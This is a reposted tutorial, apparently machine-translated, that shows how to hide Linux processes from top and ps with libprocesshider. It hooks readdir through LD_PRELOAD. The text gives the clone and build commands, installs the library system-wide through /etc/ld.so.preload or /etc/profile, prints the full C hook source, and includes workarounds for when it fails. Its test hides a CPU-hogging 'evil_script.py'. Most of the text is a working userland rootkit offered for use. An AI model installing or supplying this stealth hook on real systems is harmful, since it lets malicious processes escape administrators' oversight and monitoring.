A way to hide processes under Linux

Source: Internet
Author: User
Tags strcmp git clone
Objective
    1. The tools used in this article can be downloaded in Github.com/gianlucaborello/libprocesshider
    2. The idea is to use ld_preload to implement system function hijacking

      What is ld_preload:

      Ld_preload is an environment variable for a Linux system that can affect the program's Runtime link (runtime Linker), which allows you to define a dynamic-link library that is loaded first before the program runs. This function is mainly used to selectively load the same functions in different dynamic link libraries. Through this environment variable, we can load other dynamic link libraries in the middle of the main program and its dynamic link library, even the normal function library. On the one hand, we can use this function for our own or better functions (no other people's source code), but on the other hand, we can also inject programs into other people's programs, so as to achieve a specific purpose.

Realize


1. Download the program compilation


bmfxgkpt-yhd:~# git clone github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider# 


2. Move the file to the/usr/local/lib/directory



mv libprocesshider.so /usr/local/lib/


3. Load it into the global dynamic Connection board



echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
Test
    1. We run evil_script.py
    2. Find evil_script.py in top and PS at this point


At this point we found CPU 100%, but could not find any high CPU-intensive programs


Analysis
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";

/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, "readdir");               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
    1. The program defines a variable process_to_filter to control which process name is not displayed
    2. Rewrite Readdir,
      strcmp(process_name, process_to_filter) == 0)
      When the current process name is found to be the same as Process_to_filter, the loop continues.
Encounter the Pit
    1. In some Linux, this program compiles

      Workaround

      Delete a row in the last two rows

      Declare_readdir (Dirent64, readdir64);

      Declare_readdir (Dirent, READDIR);

    2. Used in some Linux
      echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

      does not take effect
      At this point we need to configure environment variables
      bmfxgkpt-yhd:~# vi /etc/profile
      Add a row
      export LD_PRELOAD=/usr/local/lib/libprocesshider.so

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.